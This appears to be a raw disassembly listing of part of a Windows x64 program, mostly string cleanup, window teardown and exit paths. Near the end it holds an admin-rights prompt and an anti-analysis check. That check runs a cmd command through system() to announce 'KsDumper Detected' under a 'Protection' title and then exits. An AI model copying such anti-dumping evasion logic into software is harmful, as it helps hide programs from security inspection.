call fcn.140122054
mov rdx, qword [rbp + 0x1a8]
mov qword [rbp + 0x430], r13
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x420], 0
cmp rdx, 0xf
jbe 0x140056b23
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056b1e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056dc4
call fcn.140122054
mov rdx, qword [rbp + 0x1f8]
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
cmp rdx, 0xf
jbe 0x140056b7d
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056b78
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056dc4
call fcn.140122054
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e0], 0
cmp rdx, 0xf
jbe 0x140056bd7
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056bd2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056dc4
call fcn.140122054
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], 0
cmp rdx, 0xf
jbe 0x140056c31
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056c2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056dc4
call fcn.140122054
lea rcx, [rbp + 0x5e0]
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c0], 0
call fcn.14002fd20
lea rcx, [rbp + 0x3b8]
call fcn.14002fd20
movabs r12, 0x7fffffffffffffff
call fcn.14004c510
call fcn.140016dd0
mov rcx, qword [0x14061f778]
lea r8, [0x14061fa58]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xcb0], xmm0
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14061f778]
lea r8, [rbp + 0xcb0]
mov rdx, qword [0x14061fa58]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.14000d8c0
mov rcx, rax
call fcn.14003abb0
mov rcx, qword [0x14061fa50]
xor r8d, r8d
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rbp + 0x11c]
mov r15d, 0xa
mov rsi, qword [rbp + 0x350]
jmp 0x140050900
call fcn.14003b7f0
call fcn.14003bde0
xor ecx, ecx
call fcn.14000af60
call fcn.14004b3d0
mov rcx, rsi
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x660]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x398]
call fcn.14002fd20
xor eax, eax
jmp 0x140050683
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor r9d, r9d
lea rdx, str.____Run_the_program_as_admin
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.start_cmd__c_START_CMD__C__COLOR_C__TITLE_Protection__ECHO_KsDumper_Detected.__TIMEOUT_10__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004db30
mov ecx, 0x9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400384e0
int3
call fcn.140020110
int3
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
call fcn.1400384e0
int3